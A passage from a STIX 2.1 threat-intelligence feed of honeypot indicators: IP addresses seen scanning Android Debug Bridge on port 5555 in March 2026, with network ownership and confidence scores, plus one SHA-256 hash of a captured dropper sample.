      "id": "indicator--245563b2-b937-4a67-a941-e39a5a65ea3f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T04:00:07.000Z",
      "valid_until": "2026-04-04T04:00:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-03T03:15:10.000Z",
          "last_seen": "2026-03-03T03:25:29.774Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LT"
          ],
          "asn": [
            "209605"
          ],
          "org": [
            "UAB Host Baltic"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T04:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-03T03:39:15.000Z | last_seen=2026-03-03T03:49:28.048Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--5e6595e4-7af2-4c2e-a4c4-d0bf4e60a7c4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T04:00:07.000Z",
      "valid_until": "2026-04-04T04:00:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-03T03:39:15.000Z",
          "last_seen": "2026-03-03T03:49:28.048Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T04:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-03T03:38:16.000Z | last_seen=2026-03-03T03:39:18.901Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--502473cf-ad49-4840-b05d-a51cf39c3dd6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T04:00:07.000Z",
      "valid_until": "2026-04-04T04:00:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-03T03:38:16.000Z",
          "last_seen": "2026-03-03T03:39:18.901Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T06:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=36680; asn_org=Netiface LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=30 | first_seen=2026-03-03T05:30:41.000Z | last_seen=2026-03-05T15:17:55.574Z | ports=5555 | cc=US | asn=36680 | org=Netiface LLC",
      "id": "indicator--970081b5-d28e-49ca-8bf1-5eeea693dd54",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '130.12.181.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:00:14.000Z",
      "valid_until": "2026-04-04T06:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 30,
          "first_seen": "2026-03-03T05:30:41.000Z",
          "last_seen": "2026-03-05T15:17:55.574Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "36680"
          ],
          "org": [
            "Netiface LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T06:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=NL; asn=49870; asn_org=Alsycon B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=50 | first_seen=2026-03-03T05:39:33.000Z | last_seen=2026-03-30T06:48:33.401Z | ports=5555 | cc=NL | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--e52f12ce-e95f-403f-bcf7-9b3db2211858",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.224.128.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:00:14.000Z",
      "valid_until": "2026-04-04T06:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 50,
          "first_seen": "2026-03-03T05:39:33.000Z",
          "last_seen": "2026-03-30T06:48:33.401Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T06:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=26; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=26 | first_seen=2026-03-03T05:15:42.000Z | last_seen=2026-03-03T05:26:58.584Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--dd04dd0d-d376-449a-876e-45193bd14ed3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.163.15.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:00:14.000Z",
      "valid_until": "2026-04-04T06:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 26,
          "first_seen": "2026-03-03T05:15:42.000Z",
          "last_seen": "2026-03-03T05:26:58.584Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T06:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=GB; asn=201002; asn_org=PebbleHost Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-03T05:28:13.000Z | last_seen=2026-03-03T05:29:18.995Z | ports=5555 | cc=GB | asn=201002 | org=PebbleHost Ltd",
      "id": "indicator--89dc8eb2-0974-4b44-a068-0e51c0585a86",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.11.182.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:00:14.000Z",
      "valid_until": "2026-04-04T06:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-03T05:28:13.000Z",
          "last_seen": "2026-03-03T05:29:18.995Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "201002"
          ],
          "org": [
            "PebbleHost Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T06:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=36680; asn_org=Netiface LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=30 | first_seen=2026-03-03T05:30:41.000Z | last_seen=2026-03-05T15:17:55.574Z | ports=5555 | cc=US | asn=36680 | org=Netiface LLC",
      "id": "indicator--970081b5-d28e-49ca-8bf1-5eeea693dd54",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '130.12.181.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:00:14.000Z",
      "valid_until": "2026-04-04T06:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 30,
          "first_seen": "2026-03-03T05:30:41.000Z",
          "last_seen": "2026-03-05T15:17:55.574Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "36680"
          ],
          "org": [
            "Netiface LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T06:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=NL; asn=49870; asn_org=Alsycon B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=50 | first_seen=2026-03-03T05:39:33.000Z | last_seen=2026-03-30T06:48:33.401Z | ports=5555 | cc=NL | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--e52f12ce-e95f-403f-bcf7-9b3db2211858",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.224.128.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:00:14.000Z",
      "valid_until": "2026-04-04T06:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 50,
          "first_seen": "2026-03-03T05:39:33.000Z",
          "last_seen": "2026-03-30T06:48:33.401Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T06:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=26; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=26 | first_seen=2026-03-03T05:15:42.000Z | last_seen=2026-03-03T05:26:58.584Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--dd04dd0d-d376-449a-876e-45193bd14ed3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.163.15.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:00:14.000Z",
      "valid_until": "2026-04-04T06:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 26,
          "first_seen": "2026-03-03T05:15:42.000Z",
          "last_seen": "2026-03-03T05:26:58.584Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T06:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=GB; asn=201002; asn_org=PebbleHost Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-03T05:28:13.000Z | last_seen=2026-03-03T05:29:18.995Z | ports=5555 | cc=GB | asn=201002 | org=PebbleHost Ltd",
      "id": "indicator--89dc8eb2-0974-4b44-a068-0e51c0585a86",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.11.182.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T06:00:14.000Z",
      "valid_until": "2026-04-04T06:00:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-03T05:28:13.000Z",
          "last_seen": "2026-03-03T05:29:18.995Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "201002"
          ],
          "org": [
            "PebbleHost Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T07:00:07.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/51ad31d5be1e1099fee1d03c711c9f698124899cfc321da5c0c56f8c93855e57.raw; last_seen=2026-03-03T06:01:20.557Z",
      "id": "indicator--2e6d7d5c-6b5a-44cb-b56c-fc1cf3692627",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '51ad31d5be1e1099fee1d03c711c9f698124899cfc321da5c0c56f8c93855e57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T07:00:07.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T07:00:07.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/51ad31d5be1e1099fee1d03c711c9f698124899cfc321da5c0c56f8c93855e57.raw; last_seen=2026-03-03T06:01:20.557Z",
      "id": "indicator--2e6d7d5c-6b5a-44cb-b56c-fc1cf3692627",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '51ad31d5be1e1099fee1d03c711c9f698124899cfc321da5c0c56f8c93855e57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T07:00:07.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=MX; asn=22884; asn_org=TOTAL PLAY TELECOMUNICACIONES SA DE CV; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=42 | first_seen=2026-03-03T09:05:27.000Z | last_seen=2026-03-28T03:44:43.471Z | ports=5555 | cc=MX | asn=22884 | org=TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "id": "indicator--425e2159-64ff-4470-a82f-c229e7ab68f4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '187.191.2.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:00:02.000Z",
      "valid_until": "2026-04-04T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 42,
          "first_seen": "2026-03-03T09:05:27.000Z",
          "last_seen": "2026-03-28T03:44:43.471Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MX"
          ],
          "asn": [
            "22884"
          ],
          "org": [
            "TOTAL PLAY TELECOMUNICACIONES SA DE CV"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=MX; asn=22884; asn_org=TOTAL PLAY TELECOMUNICACIONES SA DE CV; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=42 | first_seen=2026-03-03T09:05:27.000Z | last_seen=2026-03-28T03:44:43.471Z | ports=5555 | cc=MX | asn=22884 | org=TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "id": "indicator--425e2159-64ff-4470-a82f-c229e7ab68f4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '187.191.2.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T10:00:02.000Z",
      "valid_until": "2026-04-04T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 42,
          "first_seen": "2026-03-03T09:05:27.000Z",
          "last_seen": "2026-03-28T03:44:43.471Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MX"
          ],
          "asn": [
            "22884"
          ],
          "org": [
            "TOTAL PLAY TELECOMUNICACIONES SA DE CV"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=KR; asn=3786; asn_org=LG DACOM Corporation; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=3 | first_seen=2026-03-03T11:19:33.000Z | last_seen=2026-03-03T11:20:35.861Z | ports=5555 | cc=KR | asn=3786 | org=LG DACOM Corporation",
      "id": "indicator--9ccf10dd-c78f-4e75-a87a-76bf3cc0163c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '58.79.49.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:00:03.000Z",
      "valid_until": "2026-04-04T12:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 3,
          "first_seen": "2026-03-03T11:19:33.000Z",
          "last_seen": "2026-03-03T11:20:35.861Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "3786"
          ],
          "org": [
            "LG DACOM Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=KR; asn=3786; asn_org=LG DACOM Corporation; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=3 | first_seen=2026-03-03T11:19:33.000Z | last_seen=2026-03-03T11:20:35.861Z | ports=5555 | cc=KR | asn=3786 | org=LG DACOM Corporation",
      "id": "indicator--9ccf10dd-c78f-4e75-a87a-76bf3cc0163c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '58.79.49.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:00:03.000Z",
      "valid_until": "2026-04-04T12:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 3,
          "first_seen": "2026-03-03T11:19:33.000Z",
          "last_seen": "2026-03-03T11:20:35.861Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "3786"
          ],
          "org": [
            "LG DACOM Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
